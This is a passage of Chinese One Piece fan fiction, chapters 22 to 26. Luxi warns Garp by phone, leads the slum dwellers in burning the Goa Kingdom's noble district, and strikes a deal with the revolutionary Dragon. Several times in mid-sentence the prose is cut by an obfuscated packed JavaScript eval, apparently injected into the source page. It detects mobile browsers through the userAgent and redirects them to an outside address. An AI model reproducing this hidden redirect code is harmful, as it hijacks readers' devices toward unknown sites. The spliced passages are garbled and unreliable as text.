我想，她一定也猜到了真相，甚至可能不用猜，达旦为何会成为山贼呢？我从未过问，可若一个人能无忧无虑的长大，是不会考虑成为山贼或者海贼这种事的。 接下去，是计划第三步，在实施前一天，我离开了科尔伯山，重返风车村。我知道的，村长那里有和爷爷联络的手段。 我强势闯进酒馆，在玛琪诺的叫我名字的惊喜声中，迅速和她打了个招呼，随后抓住村长，让这个老头把电话虫交出来。 村长坐在椅子上试图把我抓住他衣领的手拿开。“痛痛痛痛痛、你这个小鬼不是在山贼那里待着吗？怎么又忽然跑回来，还有联系……等等——”他的神情陡然严肃起来，“不会是发生什么事了吧？路飞呢？” 玛琪诺也担忧地看着我。 我对她露出安抚的微笑，“没事的玛琪诺，只是爷爷之前不是想让我们当海军吗？我在山贼那里待了那么久，也想了很多事情呢！”安抚完毕后，我转头对着村长吼道，“所以你个臭老头快把电话虫交出来，我要和爷爷聊天啦！” 村长：“……” 这聊天待遇是不是差距有点太大？不对他算是看着这个小孩长大的，多少也习惯了对方的性格，于是一边哀叹着一边交出了电话虫，“拿去拿去，别来烦我喝酒。” 我对他久违地做了个鬼脸，然后说了一声“玛琪诺再见！”噔噔噔跑了出去找个僻静地方打通电话虫。 * 卡普正坐在战国的办公室一边吃着仙贝一边和对方聊天。 最近天龙人乘坐的世界政府巡游船也快到了东海的哥亚王国，那里正好是他的老家，于是两人便顺势趁着这个话题聊了起来。不过他不是很想提有关天龙人的事，于是话题很快转移到别处。 他还顺便在聊天的间隙短暂地想了一下在老家的两个小孩，也不知道她们有没有放弃当世界之王和海贼王，想成为海军。 蒙奇·D的后代怎么可以不当海军啊！ 此时口袋中的电话虫忽然响了起来，战国停止聊天，示意他可以先处理。他掏出来一看，是当时留给村长那边的。 电话虫接通，可响起的并不是村长的声音，而是他的孙女路希。 “爷爷，你现在在哪里，干什么？” 冷静的，听上去相当乖巧的声音。战国挑了挑眉。 卡普的第一反应是自家孙女要改过自新准备当海军了，他也直接问了出来，“干什么？想当海军了吗？” 路希没回答，只是问他在哪里，是不是一个人。 哦吼，卡普心里一惊，这种问话方式，恐怕是要惹事了。他太熟悉自家的小孩了，脸色不由得痛苦起来。怎么回事呢，自家的小孩总是这么的爱惹祸。手中的仙贝又不香了。 战国很有眼力地离开座位，推门出去，把房间留给卡普一个人。卡普说道：“我现在是一个人了，说，惹了什么麻烦？” 卡普听见对方轻描淡写地说道：“哦，也不是什么麻烦，就是我们过几天准备进攻哥亚王国，你要不回来看看？” 卡普：“……” 卡普：“……！”他是听到了什么？他的眼珠子差点就弹了出来，大声喊道，“你说什么——！”震得整个楼房都颤了颤，他的孙女却还在电话虫那头笑了一声出来。 “爷爷，你冷静一点。” “你给我把刚才的话再说一遍！” 对方的语气终于在这个时候强硬了起来。“爷爷，你知道吧，天龙人的巡游船会在过几天到达哥亚王国。” 卡普的脸扭曲了，“所以呢，你该不会是想对天龙人出手吧。我警告你小鬼，有些事情不可以做。” 路希没理会他的威胁，平静地说道：“不是的爷爷，是哥亚王国里的贵族们想对我们出手。” 卡普：“……” 路希接着说了下去：“为了迎接天龙人，高镇里面的贵族们决定火烧垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091559|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站，包括烧死里面住的人们。我不喜欢这种事情，所以联合了大家准备一起烧回去。” 卡普的脸色沉重了起来。“你们做不到的，别冲动行事。” “爷爷，我不是在征求你的意见，我是在告知你这件事。并且，我给你一个选择，你是海军英雄吧，那在海军里一定很有威望，所以我希望你能下达一个命令，让天龙人的船绕道而行。如果可以做到，我们就放弃火烧哥亚王国。” “你——” “海军的英雄，会保护平民吗？” 卡普没有回答这个问题。 路希接着说道：“如果没法更改航道，你一定要快点赶回来啊，爷爷。毕竟我也不知道，这场战役最后的结果，是我们的胜利还是贵族的胜利。不过如果是后者，恐怕你只能看到我和路飞还有艾斯的尸体了吧。”她笑了一下，“因为我们赌上了一切。” 随后，电话虫被挂断。 战国正百无聊赖地在房间外看着下方的风景，就见办公室的门“砰”一声被甩开，摇摇欲坠。战国大惊，心痛地看着自己的门，对卡普说道，“你要赔钱！”但紧接着，就被卡普的脸色震惊住，他瞬间意识到刚才那通来电有问题，严肃起来，“发生什么事？” 卡普没有回答，从高楼一跃而下，冲向总部的码头。 * 我挂断电话，舒了口气，直接躺在草地上，看着天上的白云飘来飘去。也不清楚接下去能否继续看到这种景色。原先那种安宁的生活，已经无法持续下去了。 爷爷能否让天龙人的航线改道我并不清楚，可以最好，不行也无所谓。我告诉他这件事，是为了后续收尾工作。 我考虑了两种情况，一种是我们的败北，这种几乎是大逆不道的举动，一旦面临失败，垃圾站的人基本很难存活。如果没有在战斗中死去，必定会选定一个日子遭受处决。我显然不会逃跑，若真的遇到那种情况，爷爷及时赶回来，或许能凭借他的身份为我们和垃圾站的人夺得一线生机。 第二是我们的胜利，贵族的败北。 倘若我们占据哥亚王国，要怎么处理那里的贵族？有一件事情毫无疑问，经过多年垃圾站生活的折磨，那里的人心灵已经变得极度漆黑与阴暗，若能得到一个报复的机会，必定不会手下留情。我倒是无所谓他们要对贵族做什么，但是鲜血往往会带来一股冲动，让他们自以为无所不能——连一直站在他们头顶，高高在上的贵族都打倒了，那也没必要继续听这几个小孩的话了吧。 这种失控的情况我可不想见到。 其次，哥亚王国是世界政府加盟国，遭遇这种情况，一定会调动最近的海军过来。 我们可能可以打败手无缚鸡之力的贵族们，可面对经过专门训练和携带武器的海军们，那结果不用说。但如果来的海军是爷爷，不管怎么样，结果都比面对陌生的海军要好一点。 爷爷过来的好处大于弊端，因此当然要召唤他过来。不过有一件事我没跟他说清，我们反攻哥亚王国不是好几天后，而是就在明天晚上。 我一个鲤鱼打挺起身，拍拍身上的泥土，第三步已经完成，该进行最后一步了，即明日的——夜袭哥亚王国。 23.章二十三 夜半时分，端镇城门从内而外被打开。 原本看守城门的守卫们已被击晕，遭到五花大绑。是城内的地痞流氓下得手。一队又一队人整齐有序地拿着武器进城。 先前几天从城外运送至城内的火药与燃油被另一群人拿了出来，分别交到这群进城的人手中。 所有人默不作声地赶往高镇的城门前。 萨博从家中翻窗溜出来，赶往城门，自回来后他一直装乖卖巧，听从母父的命令行事，满足她们的梦想，降低了她们的警惕心，但今日今晚一切到此结束。 火会烧起来。 原本路希担忧仅凭萨博一人能否成功打开高镇的城门，但萨博却让她安心，高镇的防守并未那么严密，因为哥亚王国内极端的阶段分明，普通人根本不会随意闯入高镇，或者说他们根本不被允许进入。要进去得经过严格的搜查与登记，当然也可以用一大笔金钱收买，可显然普通人拿不出来。 高镇的城门，平时白天只有三个守卫，两个士兵一个文员，后者负责登记进出的贵族姓名。是十分清闲的工作。 而到了晚上，便各自去休息。 他只需要把城门的那几道锁解开，接下去交由外面的人推进来，然后快速解决这几个休息的守卫即可。 这场行动没有吵醒端镇与高镇的居民们，却吵醒了一个暂住于此的外来者，或者说，他原本并未入睡。 蒙奇·D·龙站在旅馆的窗前，看着一队队人在昏黑的夜色中，井然有序地行动着。 哥亚王国是他的家乡，他今日刚与自己的革命军同伴到达此处。 说起原因也相当简单，是追随着天龙人的巡游船而来。天龙人每到一处岛屿，便少不得会有当地的普通居民受到残害，他们在尽力救下那些平民。现在天龙人的巡游船即将到达哥亚王国。 他的同伴还留在船上，也许是出于某种怀旧的心情，他提前一步进入哥亚王国。并未怎么出乎他的意料，这里的一切仍如他幼时那般，高镇洁净异常，垃圾站肮脏不堪，还有那群被赶出去的人们。 离天龙人到达还有好几日，他尚不清楚这里的贵族要如何行动，只是隐隐觉得垃圾站那密布的烟雾中，环绕着某种他看不清的东西。而被判定为垃圾的那群人，眼里似乎闪烁着微弱的火光。 于是他干脆地找了家旅馆住下。 夜半时分有脚步声窸窸窣窣，他看到这群人涌向高镇，蒙奇·D·龙推窗跳下，隐秘地越过他们而行。 接下去倒是看到了更为惊讶的一幕。 虽不知他们想做什么，但料想能组织起这群人如此统一行动，应当会是个不可小觑的成年人，结果目的地的终点，高镇的城门前，最前方站着的是三个小孩。 蒙奇·D·龙讶异一瞬，闪身躲进一旁的黑暗中。 为首的女孩似乎在等待着什么。片刻后，她手中的电话虫传来响动，接通之后是一个男孩的声音，说道：“路希，可以了。” 女孩挥手招呼身后的人行动。 在意识到她们是准备推开门进攻高镇后，蒙奇·D·龙内心还涌起了另一处风暴席卷了他的思绪。 等一等，路希这个名字，好像是他数年没见过面，只在刚出生的那年里相处过一段日子的女儿名字。 记得还有一个儿子叫路飞。 他的视线牢牢锁定在另外两个男孩身上，其中那个带着草帽的应该就是路飞。还有一个不认识。 不是，等等？他再度确认了一下自己眼前发生的一切。 如果没看错的话，他的女儿带着他的儿子还有一个不认识的小鬼兼这群地痞流氓们，疑似要对高镇发起一场战役。 真的假的？ 他女儿今年几岁来着？哦他不知道，他就没养过。 不知是否因为他注视的视线过于强烈，路希猛然回头朝这个方向看了一眼，蒙奇·D·龙迅速闪身躲起，女孩没发现什么异常，在那个陌生男孩的怎么了的询问声中，她摇摇头，然后点燃手中的火把，高举起来。 随着她的这个举动，追随着她的那群人也纷纷点燃自己手中的火把，冲进了大门已被打开的高镇。 火光灼眼，似要驱散这漫天黑暗。 龙听见自己女儿的声音坚定有力：“烧，夺回我们的一切。” 他在墙角的阴影里站定片刻，然后掏出自己的电话虫，拨通自己同伴的电话，“伊万吗？是我，龙。你现在带着大家来一趟哥亚王国吧……不，我没惹什么事。哈哈、是有趣的事情发生了。” 这怎么不算有趣的事情呢。 * 路希第一个举着火把冲了进去，与里面的萨博汇合。 “守卫们在哪里？” “旁边的门内。” 萨博指明方向，她迅速安排了人去处理那几个人。“打昏，绑起来，堵住嘴。”随后命令身后的其他人，“按照我给你们分配的位置去点火，地图都带着吧。听到的火把举高一次。” 众人听言举高手中的火把。 路希扫视了众人一眼，说道：“走，各自行动。” 高镇的地图是萨博根据电话虫告知她，她在纸上描绘出来的，然后又手动复刻了数张，分发给众人。她不准备直接对着有人住的房子放火，因为选择的第一放火位置大部分是公园或是人烟较少的地方。第二是贵族们逃出来后，无人的空屋。 她把手下的人暂且分为了三部分，一部分负责点火烧掉高镇，另一部分则去打昏受到惊吓逃窜而出的贵族们，将这群人绑在一起。剩下的人跟她行动，负责游击战，阻拦那些守卫们。 顺便一提达旦最终还是带着她的那群山贼手下来了。 来之前暴跳如雷。 “听好了小鬼们！我不是要帮你们，我是怕你们被人打残了哭着回来，我真的不是站在你们这边，要推翻贵族们的意思！” 路希根本没在听的，举手欢呼雀跃。 “噢噢，好耶——达旦我最喜欢你啦！” 路飞也跟着应和：“达旦你人真好！” 艾斯则是淡淡说了一句，“没想到你们人还蛮不错的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096289|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>达旦：“……” 不是的，真的不是这样的。她是害怕卡普回来发现自己没照顾好她们，把自己送进监狱去。真的没有在关心这几个小孩。真的，她用手下山贼的性命发誓。 总之反攻的人数就这么增加了。 为了防止路希她们出事，达旦选择紧紧跟在她身边行动。路希倒是没对她下达什么指令，似乎是默许她自由行动了。 “不过……” 这小孩好像还有什么在意的地方，达旦看着她思索的样子，问道：“怎么了，后悔了吗？现在撤退我还可以带着你们回去，把事情都推到那群混混们身上。” 路希摇摇头，“不是这个……只是感觉有些奇怪。” 艾斯问道：“什么奇怪的？” 路希没细说：“没什么。” 总感觉……好像被什么人盯着。还是说自己太紧张了导致的错觉？总之这种时候还是不要说出来影响其他人。 她做了决定，便会果断实施，很快，第一把火燃烧起来。 同时，伴随着这把火焰，一阵震天的喊声爆发出来。那些屈辱是如此真实的存在过，刻印在他们身上。瘦弱的身躯，破烂的衣物，腐烂的食物，一点点一滴滴累计起来，压垮了脊椎，迫使人们不得以低下头，弯着腰，谄媚地讨好高高在上的贵族，最终依旧一无所获，甚至还要付出生命的代价。 跪下去的他们什么都没得到，只有被侮辱至残缺的人格。现今这场压抑在内心的怒火终于随着这场火被点燃，烧尽不甘烧尽苦楚，烧尽破败的一切，这场火不会结束，这场火无法结束。被点燃的怒火会永无止境的灼烧下去，直至那些不公在火焰中燃成灰色的颗粒，飘落至地，被他们踩踏进泥土深处。 在火焰燃起的光辉之下，那些贵族尖叫着从自己的豪宅中跑出来，随即遭到等待已久的——是多年以前就试图挥打下去的棍棒。 “去死——去死啊——” 怨恨，彻底爆发。 在这场威胁到性命的火焰前，贵族们好像也终于跌落神坛，站在与他们平等的位置上。虚假的光环被剥落，展现在眼前的人们是多么丑陋，无力。原来贵族，也会露出这番害怕的表情。 是为了什么他们忍耐至今？是为了什么他们不敢反抗？如今连性命也被贵族舍弃，一无所有又何必再怀抱那些恐惧。 “把我们的一切还回来——！” 在这场火焰的中心，看着沸腾的众人，路希似乎也被那灼热的温度与震天的喊杀声触动，总是能维持着冷静的心此刻激烈跳动起来。是啊，是的，这是她组织的，这是她带领的，这是她点燃的。漫漫长夜，她要用火烧掉这一切。 绝不后退一步。 从诞生起至今日，她感觉她的头脑从未如此清晰过，并且意识到自己要做何事。 她高举手中火把，几乎是把全身心的力气都用了上去。 “夺回我们的一切——夺回我们的自由——夺回我们的人生——” 奇迹般地，这道声音，传达到了所有反抗之人的耳中。 24.章二十四 毫无疑问，那个孩子身上拥有极其稀少且强大的见闻色霸气。在听到对方的喊声之际，龙几乎是立马确定了这一点。 正因如此，她才能轻易调动这群人的情绪，并带领他们一同行动。因为在聆听路希说话的同时，他们的内心受到同样情绪的感染。而他的女儿或许根本不知道，甚至是在无意识使用这股力量。 这个孩子……或许很适合当革命军。就凭她喊出的那句口号——夺回一切，夺回自由，夺回人生。 这个世界确实腐败不堪，但仍有地方闪烁着微弱光芒。那是从孩童身上诞生的微小新芽。 龙眼中的欣赏加剧。 今夜这场行动，她们必定会成功。不仅是因为他决定出手相助，更是因为她们身上燃着的，那股让他也深受触动的信念。 信念的火焰一旦诞生，便不会轻易熄灭。何况他已决定守护这团新生的火焰。 他奔向王宫，大量的卫兵从那里拿着武器奔跑出来维护秩序。那里由他这个父亲来阻拦，当女儿的只要继续将这场火烧下去即可。 高镇内，混乱还在持续。 越来越多的贵族从自己的宅子里狼狈逃窜而出，惊恐地看着周身的情况。 “怎么回事？”“发生什么事了？”“为什么高镇会忽然着火？”“卫兵？卫兵呢？” 而萨博也在人群中发现了自己的母父。 平日里傲慢，虚伪的两个人正无助地尖叫咒骂着，在他离去后被收养的那个义弟，此刻正鼻涕眼泪乱流，被父亲狠狠打了一巴掌，让他别再捣乱。 他看了他们一眼，心想这就是最后一眼，自己不会再与他们扯上关系了，再也没有那样的母父和孩子了。 现在他彻底属于路希这边，一个决意不当贵族的普通人。 而路希正在困惑目前的情况。 根据她的猜测，王宫里的士兵必定不会袖手旁观，绝对会前来打退自己这群人。可都过了一段时间了，怎么没有收到攻击呢？只有那群贵族在到处谩骂，她都抓到打昏好多了呢。难道哥亚王国的防卫比她预想的要弱？ 艾斯见她这样，问道：“还有什么问题吗？” 路希简单的把自己的困惑告知了他们三个。萨博点头道：“确实，这很奇怪。” 艾斯皱眉，甩了甩手中的水管，说道：“既然这样，我们干脆去那里看看情况。” 四人小组就要奔向王宫外围，达旦见状忙紧随其后，这可是货真价实的战场，她可得小心看护这四人。 愈靠近王宫愈能察觉不对劲，不比其它地方的喊杀声，这里反而安静了下来，路希疾行的步伐一顿，随后慢了下来，伸手示意其他人停止前进。 有个男人，一个身披墨绿色大衣的男人，脸上刻着奇怪的纹身，带着一股凶狠异常的气势，转身回来牢牢注视着她们。而在更远处的前方是一堆倒地不知生死的士兵。 这不是她这边的人，但从目前的情况看，亦不是皇族那边的人。 今夜还有其他人袭击哥亚王国？是早有预谋还是纯属巧合？但话说回来，路希打量着这个人的脸，不管怎么看，这个人果然……她神情严肃对自己的小伙伴说道：“这个人他——居然没有眉毛诶。” 在场唯二的两个成年人心中缓缓冒出一个问号。 达旦：“……” 这是问题的重点吗？！ 龙：“……” 好遗憾，还以为女儿是察觉到了两人之间的血脉联系，发现了自己是她父亲的真相。原来在意的是这个点吗？ 倒是几个小孩神情也严肃了起来。 路飞脑袋灵机一动，大喊道：“我知道了！这个人就是无眉妖怪！会把所有人的眉毛都抢走的！” 艾斯&萨博：“……真的假的？” 路飞信誓旦旦，伸手直指龙身后倒地的人。“看，那些人就是被夺走了眉毛所以才会昏过去的人。接下去就是我们的眉毛要被抢走了！” 艾斯大惊，舍身挡在最前面，举着水管坚定道：“你们快跑，我会拦住的！” 路飞：“艾斯——！” 萨博：“……” 难道只有他觉得事实真相还有待商榷吗？他扭头看向除自己之外唯一的智商希望，结果此人只是毫不靠谱地说道：“但我觉得从身高看，艾斯你一脚就会被踢飞诶，要不还是让达旦的眉毛牺牲吧。” 萨博：“……” 所以你也信了是吗……他逐渐开始怀疑自己，难道此男真的是无眉妖怪？ 忽然就要被迫牺牲的达旦：“……这人应该不是无眉妖怪。”虽然他没有眉毛，不过说起来，这张脸总感觉哪里见到过。 龙缓缓地点了点头。 路飞恍然大悟，好奇发问：“啊是嘛，那这个男人是什么妖怪？” 龙认为自己有必要解释一下。“我不是妖怪。” 路飞露出失望的脸：“什么啊，原来是人啊，真没劲。” 艾斯倒是警惕心不变，不如说是人类更要值得注意了。萨博反而舒了一口气，他就说世界上怎么可能有妖怪，果然路飞的话不能信。 路希歪歪脑袋，没什么太多表情变化，问道：“你是什么人？” 龙落在她身上的视线带着一抹期望和一些赞扬。“我叫龙，是一位革命军战士。” 几个小孩满脸茫然，革命军是什么东西，从来没听过。而达旦则是变了脸色，“龙？你该不会就是报纸上报道的那个龙吧？” 龙点点头，路希抬头看向达旦，“那是什么报道？” 达旦沉默一瞬，眼见龙没有解释的想法，又看他身后那群倒地的士兵们，咬咬牙开口，“是一群对世界政府的反抗军，领头的人，也就是这个人，据称是世界上最凶恶的罪犯。” 路希听完，脸色凝重起来。等等，世界政府反抗军，那不是和她的目标有些重合？坏了，是对手。 路希：“你来这里做什么？” 龙眼见自家女儿的神情变得警戒起来，想来是罪犯这个词吓到了她，或许有必要在解释一番，他们的目标是一致的。 龙：“别害怕，我不是你们的敌人。我只是和你们一样，想要解放这个国家，让普通民众也能得到自由和幸福。” 路希：“……？”她没有要解放这个国家的意味啊，她只是想征服这个国家，把这个地方成为她自己的领地而已。至于其它的，口号关怀诸如此类的东西，只是为了成为世界之王以及维持这个位置的附带品而已。毕竟王这个身份就是建立在有民众支持的基础上吧。 但这个人既然能说出这种话，那说明应当很好骗吧。于是她转而开口道：“你是一个人吗？” “不，我的同伴正在赶来的路上。” “你原本就想要这么做吗？” “虽然有意，但并非如此。我们顺着天龙人的路线而来，先前，他们拜访的国家前后也有不少普通民众受到迫害，我们目前只能够尽力解救受害的普通民众。组织国民反抗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101520|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划还有待详细商议。” 说实话，像这种直接由一群孩子带领莽进来的才是少见中的少见，不如说，先前从未见过。或者是因为孩童的脊背还未被彻底压弯，尚能点燃那股热血。 “我是察觉到了你们的行动，既然这个国家的贫民决意自救，那我便绝不会袖手旁观，自然要相助。” 而路希听到对方的回答则是几瞬间做出了新的决定。就这样吧，她心想道，这个推翻哥亚王国的锅就让这群革命军来背吧，毕竟现在的她还没有能力享用胜利的果实，强行摘取说不定还要给她们带来更多的麻烦。 于是她说道：“这是你们干的。” 龙怔了一下，随后理解她话中的意思。他沉思片刻，欣然同意，“是，这是革命军干的。” 没错，虽然今夜取得了胜利，但后续的处理往往是比战斗更加麻烦的事情，毕竟战斗只有打败对方即可，可战斗结束后要处理的，并不是有形的对手。 哥亚王国是世界政府加盟国，必定会有海军前来。这群孩子和她们率领的民众还没有强到能对抗海军，也没有足够的资源让这个国家脱离了政府保护后能和平发展，交由经过的革命军处理也许是最好的手段。 这个孩子太聪明了，并且懂得放下。这群人会跟随她，除了见闻色霸气的影响，她自身的人格因素或许更多一些。 他继续说道：“但他们会记住的，让这场火点燃起来的，不是我，而是你——”他以一种十分自豪的语气，说出了她的名字，“路希。” 路希眨眨眼，心想这个人简直在说一件理所当然的事：“当然是我。就算你要让他们忘记，以后总有一天我也会再度让他们想起来的。” 龙哈哈哈哈大笑起来，他的女儿，以后必定会成为一个了不起的存在。 倒是旁听的几个人差不多已经完全懵了，路飞听着听着就走神了，艾斯则是听不懂，萨博倒是能理解一些，但仍然持有对眼前男人的不信任。达旦的心绪更加复杂，革命军，世界政府的头号敌人，或许比海贼更加凶恶。毕竟海贼仍会遵守现有的制度生活，而革命军是要开创一个新的社会秩序。 等等……那这个目标不是和路希重合了？她后知后觉想到，这小鬼好像要当世界之王来着……该不会真让她搭上革命军的船成功了吧。 那可不行！她得牢牢看住路希不让她上对方的船。 龙的视线又落到路飞身上，他的另一个孩子。他饶有兴趣地问：“那你呢，你以后想要做什么？” 路飞：“？”虽然不明白为什么话题忽然来到了自己的身上，但既然被问起来了，当然要大声回答。“我以后是要成为海贼王的男人！” 龙的眼中同样露出赞赏之意，“海贼王吗，也是个不错的梦想。其他两个孩子呢？” 艾斯冷着一张脸说道：“为什么我要告诉你。” 他才不像路希和路飞那样是笨蛋，把什么都告诉对方。 而萨博的语气则多了份不确定，“我……或许会成为海贼。” 他原本是想要当海贼的，但知晓革命军的存在却有些犹豫了。他想脱离贵族的家庭，奔向自由自在的新生活。可是，什么是真正的自由？是在大海上航行，亦或是像现在这样，带领那群贫民们夺回原本的人生？ 龙注意到，这最后一个回答他的男孩身上是贵族的服饰。是贵族的孩子反叛了自身的阶级吗？他未直说什么，只是道：“你们未来的路还很长，今夜就由我来为你们护航。” 25.章二十五 哥亚王国的这场暴动，最终落到报纸上报道时，完全隐去了路希四人的踪迹。报道只是详细描述了革命军龙以及他部下们的残酷举动，以及海军英雄卡普及时赶到，制止了革命军造成更大的损伤。 但唯有事件的当事人清楚，究竟是何人挑起这场战役。 那夜高镇的火烧了一夜，直至白日仍未有熄灭的趋势。诸多豪华住宅被烧毁，不复原来的干净整洁。路希倒是很满意，因为这样，高镇就与垃圾站没什么区别了。 高镇的这场火并未波及到端镇那边，坚固的城墙阻挡了一切。原本为了阻止普通人进入的阻碍，此刻成为了他们的保护伞。这场火焰，唯一遭到损失的是贵族与王族。而这些人最终被革命军们带走。 原本要如何处置这群人是路希的一大烦恼。 毕竟哥亚王国的阶级制度并未真正消失，只是暂且被打倒，只要对方拥有世界政府的支持——为了恢复高镇往日的繁华，指不定还要比以前更残暴的压榨普通人呢。而且防守也必定会比现今更严密。 现在好了，有一群意向是反抗世界政府的革命军出现，于是干脆利落地把这群人丢给他们处理。 龙看着塞满一大堆贵族的船只不语，只是一味沉思。 伊万科夫——他值得信赖的友人失去面部表情的管理，冲他喊道：“人太多了！人太多了啊！一国家的贵族都塞了上来，我们的船在中途就会翻的！那几个小鬼也太狠了吧！” 龙：“……” 他最初来哥亚王国也没想到会带走这么多人。但更主要的是路希对他说，大叔你把这群贵族都带走吧，你船塞的下吧，塞不下也没关系，剩下那群人我们可以努力一下扔进海里喂鱼吃。 明明是他的女儿，但是却叫他大叔呢……噢不对，重点不是这个，是不全部带走的话，那些贵族就要去喂海王类了。 虽说仅凭语气听上去像是开玩笑，可考虑到路希先前的所作所为，龙确信她会说到做到。这孩子的杀性有几分重了，是因为被山贼养大，整天在垃圾站待着，看见太多不公之处的缘故吗？ 腐败的贵族们固然不值得被好好招待，但亦不能凭着自己的心情随意杀害。这种残暴的手段同样会在人们心中值下恐惧的种子，害怕相同的待遇会落到自己身上。假以时日，这些恐惧爆发出来亦会伤害到自身。 也许还是应该带到自己身边养比较好，龙思索着，何况对方身上已然长出了革命念头的种子。 于是，他试探性地问道：“路希，你要跟我们一起走，处理这群贵族吗？” 路希茫然地抬头看了这个奇怪的无眉大叔一眼，果断拒绝。“不要。” 革命军和她的目标有重合之处，是对手呢。她才不要帮对手扩大势力，当然是对手能为她带来好处，才算完美。 龙：“……” 龙不语，浅浅伤心一小下。他再度陷入沉思，是否要把自己的身份告知对方，或许，能重新改变路希的念头。 路希看着载满贵族的船只，在看着大喊大叫指挥着的另一个更加奇怪的男人，伊万科夫，好心提出建议：“要不把他们用绳子捆在船尾扔下去，这样子船上的空间也能多出来一些。而且路上也可以让这些贵族们好好反思一下自己过去的所为作为，顺便还能当鱼饵钓下鱼吃呢！” 伊万科夫想象了那个画面，不禁感叹：“你是魔鬼吗……这群细皮嫩肉的贵族放在海里，船开没几分钟他们就不行了吧。” 虽然确实有可行性，但是伊万科夫一点都不想看到回到本部时，船尾挂着一串尸体。这小孩真可怕，最开始从龙那里知晓这次行动的带头人是个小孩他就已经很吃惊了。再看看目前为止，这人提出的几个建议……还是说这就是孩童的天性，因为天真所以反而会提出一些他们作为大人不会第一时间实施的决定。 伊万科夫思索片刻，决定放弃思考。这事就交给龙处理吧，他才是老大。 龙自然没有采纳这个建议，路希耸耸肩，反正她不上船，那里空间不足与她无关。 龙再度问了一遍：“你真的不考虑加入我们吗？你在高镇喊出的那句口号，很符合革命军的理念。” 路希摇头：“不要啦，我还得先留在这里处理后续的事情。”她理直气壮说道，“因为大家都是笨蛋，放着不管很容易乱起来的。” 确实，这也是一个要解决的问题，不过——龙开口继续说道：“接下来，应该很快会有海军赶过来，世界政府那边应当会派人处理。” “嗯嗯，我知道啊。噢对了，你讨厌海军吗？” “……不，虽然海军里有一些我不能接受的存在，但是，我不讨厌海军，大部分海军都在为了世界安宁而拼命努力。” “那没事了，”路希轻快道，“我爷爷就是海军，还是海军英雄呢！我之前给他打了个电话，现在恐怕在赶来的路上了吧。” 龙：“……？！” 自己的女儿的爷爷，那不就是他爹，蒙奇·D·卡普嘛！那他可是熟得不能再熟了，想当年他青春年少，对世间认知严重不足，听信了卡普的铁拳教育，满怀梦想的加入了海军。接着就辞职去当革命军了。 路希仰起头笑着对他说道：“他叫蒙奇·D·卡普！既然你们是很有名的罪犯，肯定也听过这个名号！所以我觉得你们快点离开比较好哦，因为我是在这场行动前打的电话呢！爷爷的速度还是很快的。” 龙忍不住问道：“在这场行动前？” “是啊！毕竟天龙人不是要到访这里嘛，又是烧高镇又是打贵族的，总得找个值得信赖的人帮我们处理后续吧。说到底仅凭我们这群什么都没有的人，根本承担不起可能的后果啊。” “……是吗？是这样啊。你果然是个很优秀的孩子。” 路希毫不犹豫地接受了这份夸赞。 “我也认为自己很优秀，所以大叔你们快走吧，说不定哪天有缘我们还会再遇见呢，到那个时候你再考虑要不要继续对我发出邀请。” 哼哼，到那个时候可要好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结果一到目的地看见情况大吃一惊，原来战斗早已经结束了，不仅结束了还是路希这方的大获胜利。 村长眼前一黑，心中认定是山上的这群山贼带坏了小孩，气得要找达旦算账，他就说粗鲁的山贼怎么能带得好孩子！最后终于在玛琪诺的安抚下终于冷静下来，绝望地想着怎么对卡普交代。不对，应该是他先发制人对卡普动怒，骂他就不应该把小孩给山贼养。 玛琪诺倒是认真的生气了，发怒地对几个小孩骂道不珍惜自己的生命，胡乱行动。不过在路希带头乖乖的认错下，最后还是无奈地叹了口气，蹲下身去挨个抱过去，让她们以后几个别再胡来做这种事了。 风车村的众人由忧转喜，乐呵呵地看着高镇的断壁残垣，忍不住自豪想道：他们养大的小孩就是有出息，做坏事都做得与众不同。其它岛上村里的小孩们做得到吗？！ 而卡普的军舰，也终于在革命军的船只离开不久后，到达了哥亚王国。 26.章二十六 